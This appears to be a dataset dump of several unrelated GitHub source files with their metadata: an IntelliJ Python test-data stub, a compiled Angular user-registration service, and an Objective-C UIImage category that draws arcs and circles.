"ref": "refs/heads/master",
"path": "sky/engine/core/animation/InterpolableValueTest.cpp",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Bison",
"bytes": "31162"
},
{
"name": "C",
"bytes": "1870198"
},
{
"name": "C++",
"bytes": "36473977"
},
{
"name": "CSS",
"bytes": "1897"
},
{
"name": "Dart",
"bytes": "508640"
},
{
"name": "Go",
"bytes": "181090"
},
{
"name": "Groff",
"bytes": "29030"
},
{
"name": "HTML",
"bytes": "6258864"
},
{
"name": "Java",
"bytes": "1187123"
},
{
"name": "JavaScript",
"bytes": "204155"
},
{
"name": "Makefile",
"bytes": "402"
},
{
"name": "Objective-C",
"bytes": "74603"
},
{
"name": "Objective-C++",
"bytes": "370763"
},
{
"name": "Protocol Buffer",
"bytes": "1048"
},
{
"name": "Python",
"bytes": "5515876"
},
{
"name": "Shell",
"bytes": "143302"
},
{
"name": "nesC",
"bytes": "18347"
}
],
"symlink_target": ""
} |
def foo(some_pa<caret>ram: str):
pass | {
"content_hash": "3fece53c695081387e9ba090fc3f314c",
"timestamp": "",
"source": "github",
"line_count": 2,
"max_line_length": 32,
"avg_line_length": 20.5,
"alnum_prop": 0.6585365853658537,
"repo_name": "siosio/intellij-community",
"id": "70e1da13e07e268bd7b70917d66290f638745660",
"size": "41",
"binary": false,
"copies": "12",
"ref": "refs/heads/master",
"path": "python/testData/intentions/SpecifyTypeInPy3AnnotationsIntentionTest/annotatedParameterNoIntention.py",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
"use strict";
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
return c > 3 && r && Object.defineProperty(target, key, r), r;
};
var __metadata = (this && this.__metadata) || function (k, v) {
if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v);
};
var Rx_1 = require("rxjs/Rx");
var core_1 = require("@angular/core");
var shared_service_1 = require("./../../shared/shared.service");
var http_1 = require("@angular/http");
// Import RxJs required methods
require("rxjs/add/operator/map");
var RegisterService = (function () {
function RegisterService(http, sharedService) {
this.http = http;
this.sharedService = sharedService;
this.postUrlPath = '/api/users/create'; // Private intance variable
} // Resolve http using constructor
RegisterService.prototype.create = function (userModel) {
var _this = this;
var bodyString = JSON.stringify(userModel);
var headers = new http_1.Headers({ 'Content-Type': 'application/json' });
var options = new http_1.RequestOptions({ headers: headers }); // Create a request option
return this.http.post(this.postUrlPath, bodyString, options)
.map(function (res) {
var user = res.json(); // .json() on the response to return data
if (user) {
localStorage.setItem('currentUser', JSON.stringify(user));
_this.sharedService.isUserLogged = true;
}
}).catch(function (error) { return Rx_1.Observable.throw(error || 'Server error'); }); // catch errors if any
};
return RegisterService;
}());
RegisterService = __decorate([
core_1.Injectable(),
__metadata("design:paramtypes", [http_1.Http,
shared_service_1.SharedService])
], RegisterService);
exports.RegisterService = RegisterService;
//# sourceMappingURL=register.service.js.map | {
"content_hash": "d7ccedd867d22648fdd7d29ca7e02d52",
"timestamp": "",
"source": "github",
"line_count": 45,
"max_line_length": 150,
"avg_line_length": 52.48888888888889,
"alnum_prop": 0.6342082980524979,
"repo_name": "dmusev/gMenu",
"id": "41ba9eada770256679d7b8ee44494fa356f8602b",
"size": "2362",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "public/app/components/register/register.service.js",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "1980"
},
{
"name": "HTML",
"bytes": "6824"
},
{
"name": "JavaScript",
"bytes": "9947"
},
{
"name": "TypeScript",
"bytes": "16683"
}
],
"symlink_target": ""
} |
@implementation UIImage (Utilities)
+ (UIImage *)arcImageWithRadius:(CGFloat )radius
borderColor:(UIColor *)color
{
CGFloat size = 2.0*radius;
UIGraphicsBeginImageContextWithOptions(CGSizeMake(size, size), NO, 0.0f);
CGContextRef context = UIGraphicsGetCurrentContext();
CGContextSaveGState(context);
CGContextTranslateCTM(context, 0, 0);
CGMutablePathRef arc = CGPathCreateMutable();
CGPathAddArc(arc, NULL,
size * 0.5f, size * 0.5f,
radius,
0.0,
M_PI * 2.0,
YES);
CGPathRef strokedArc =
CGPathCreateCopyByStrokingPath(arc, NULL,
2,
kCGLineCapButt,
kCGLineJoinMiter,
10.0f);
CGContextAddPath(context, strokedArc);
CGContextSetFillColorWithColor(context, [UIColor clearColor].CGColor);
CGContextSetStrokeColorWithColor(context, color.CGColor);
CGContextDrawPath(context, kCGPathFillStroke);
CGContextRestoreGState(context);
UIImage *image = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
return image;
}
+ (UIImage *)imageWithRadius:(CGFloat)radius
color:(UIColor *)fillColor
{
CGFloat size = 2.0*radius;
UIGraphicsBeginImageContextWithOptions(CGSizeMake(size, size), NO, 0.0f);
CGContextRef context = UIGraphicsGetCurrentContext();
CGContextSetFillColorWithColor(context, fillColor.CGColor);
CGContextSetLineWidth(context, 0.0);
CGContextBeginPath(context);
CGContextAddEllipseInRect(context, CGRectMake(0.0,
0.0,
size,
size));
CGContextDrawPath(context, kCGPathFillStroke);
UIImage *image = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
return image;
}
@end
| {
"content_hash": "22d0d665ee23559a8321b3b1c82dd0b3",
"timestamp": "",
"source": "github",
"line_count": 61,
"max_line_length": 77,
"avg_line_length": 34.14754098360656,
"alnum_prop": 0.5914546327412386,
"repo_name": "noxytrux/AdvancedCoreAnimations",
"id": "1ae580cebba2f1f40d6defc2f4f67d4f685c5aa9",
"size": "2281",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "AdvancedAnimations/UIImage+Utilities.m",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Objective-C",
"bytes": "37782"
}
],
"symlink_target": ""
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.